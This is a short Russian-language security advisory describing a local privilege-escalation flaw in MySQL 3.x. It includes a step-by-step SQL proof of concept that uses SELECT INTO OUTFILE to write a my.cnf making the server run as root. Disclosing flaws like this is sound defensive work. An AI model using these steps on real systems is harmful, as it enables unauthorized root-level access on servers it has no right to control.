Security Lab

Изменение MySQL пользователя

Дата публикации:11.03.2003
Дата изменения:06.05.2008
Всего просмотров:1038
Опасность:
Низкая
Наличие исправления: Да
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации: Локальная
Воздействие: Повышение привилегий
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты: MySQL 3.x
Описание: Уязвимость обнаружена в базе данных MySQL. Локальный пользователь может заставить mySQL запускаться от любого пользователя, включая root.

Как сообщается, локальный пользователь может использовать операцию “SELECT * INTO”, чтобы изменить my.cnf файл и заставить mySQL запускаться под любым пользователем, включая root. Пример:

mysql>CREATE DATABASE roottext;
mysql>USE roottext;
mysql>CREATE TABLE hack (conf VARCHAR(80));
mysql>INSERT IN hack VALUES ('[mysqld]');
mysql>INSERT IN hack VALUES ('user=root');
mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
mysql>QUIT
Уязвимость проверена в MySQL 3.23.55, возможно другие версии также уязвимы
Ссылки: MySQL user can be changed to root